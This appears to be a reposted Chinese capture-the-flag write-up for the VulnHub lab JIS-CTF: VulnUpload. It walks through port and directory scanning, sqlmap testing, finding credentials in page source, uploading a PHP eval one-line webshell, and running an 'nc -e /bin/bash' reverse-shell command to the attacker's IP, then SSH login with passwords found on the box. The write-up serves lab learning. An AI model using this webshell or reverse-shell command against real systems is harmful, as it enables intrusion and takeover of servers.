当前位置: 首页 > news >正文

JIS-CTF: VulnUpload靶场渗透

JIS-CTF: VulnUpload来自

 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140

3,扫描靶机端口服务

nmap -sS -sV -n -T4 -p- -A192.168.23.162

端口和服务:

  • 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
  • 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。

SSH 主机密钥:

  • RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
  • ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
  • ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76

HTTP 信息:

  • 网页标题:Sign-Up/Login Form(注册/登录表单)
  • 请求的资源:login.php
  • 服务器标头:Apache/2.4.18 (Ubuntu)
  • robots.txt 文件中禁止访问的目录:
    • /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等

设备和操作系统信息:

  • MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
  • 设备类型:一般用途设备。
  • 操作系统:运行 Linux 3.x 或 4.x 版本。
  • 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
  • 网络距离:距离扫描主机 1 跳。

4,访问80端口开放的HTTP服务

初始就是一个登录页面

5,爆破扫描出其存在的子目录页面

dirsearch -u http://192.168.23.162 -x 404,403

存在robots.txt查看一下

/backup 什么都没有
/admin 什么都没有
/admin_area

/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白

/flag

信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}

http://192.168.23.162/js/index.js

1. 表单标签的动态效果:

通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。

  • keyup 事件:每当用户输入时触发。
    • 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
    • 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
  • blur 事件:当输入框失去焦点时触发。
    • 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
    • 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
  • focus 事件:当输入框获得焦点时触发。
    • 如果输入框为空,标签移除 highlight 类。
    • 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。

2. 标签切换效果:

通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:

  • click 事件:当用户点击标签时触发。
    • 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
    • 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
    • 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
    • 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。

总结:

  • 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
  • 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。

http://192.168.23.162/assets/ 更像是一个目录

6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞

jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。

没有明显的公开漏洞利用exp

7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包

没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试

sqlmap -r sql.txt  --level 5 --risk 3 --batch

sql注入失败

8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息

username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}

尝试登录

登录成功,提供了一个用于上传文件的功能页面

9,编写一句话木马尝试上传

<?php @eval($_POST['shell']);?>

上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权

10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell

nc -e /bin/bash 192.168.23.140 4444

nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索

服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag

并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到

11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码

 grep -sr '4th flag' /

成功找到flag4,路径/etc/mysql/conf.d/credentials.txt

username : technawi

password : 3vilH@ksor

12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录

13,信息收集一下,当前用户权限还是比较低的

最后得到第五个flag cat /var/www/html/flag.txt

14 ,最后稀里糊涂的提权成功了

一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值

http://www.lryc.cn/news/503473.html

相关文章:

  • BGP-面试
  • Git-安装与常用命令
  • 回归预测 | Matlab实现基于BiLSTM-Adaboost双向长短期记忆神经网络结合Adaboost集成学习回归预测
  • 微信小程序跳转其他小程序以及跳转网站
  • Not using native diff for overlay2, this may cause degraded performance……
  • 【自用】管材流转项目 数据库恢复之 PIPE 表 二维码相关 各个表恢复 SQL
  • 【渗透测试】信息收集二
  • 测试工程师八股文04|计算机网络 和 其他
  • 定时/延时任务-Kafka时间轮源码分析
  • 如何用状态图进行设计05
  • 【计算机视觉】边缘检测
  • 林曦词典|无聊
  • LabVIEW光栅衍射虚拟仿真系统
  • 【NumPy进阶】:内存视图、性能优化与高级线性代数
  • 从YOLOv5到训练实战:易用性和扩展性的加强
  • Prim 算法在不同权重范围内的性能分析及其实现
  • canal安装使用
  • python爬虫常用数据保存模板(Excel、CSV、mysql)——scrapy中常用数据提取方法(CSS、XPATH、正则)(23)
  • You need to call SQLitePCL.raw.SetProvider()
  • IoTDB AINode 报错,call inference 301: Error ocurred while executing inference
  • LLM之RAG实战(五十)| FastAPI:构建基于LLM的WEB接口界面
  • 项目-移动端适配的几种方案
  • HCIA-Access V2.5_2_2网络通信基础_TCP/IP协议栈报文封装
  • LSTM详解
  • 从零开始搭建Android开发环境:简单易懂的完整教程
  • 大模型运用-Prompt Engineering(提示工程)
  • CMake简单使用(二)
  • 攻防世界安卓刷题笔记(新手模式)1-4
  • 发现一个对话框中的按钮,全部失效,点击都没有任何反应,已经解决
  • MyBatisPlus实现多表查询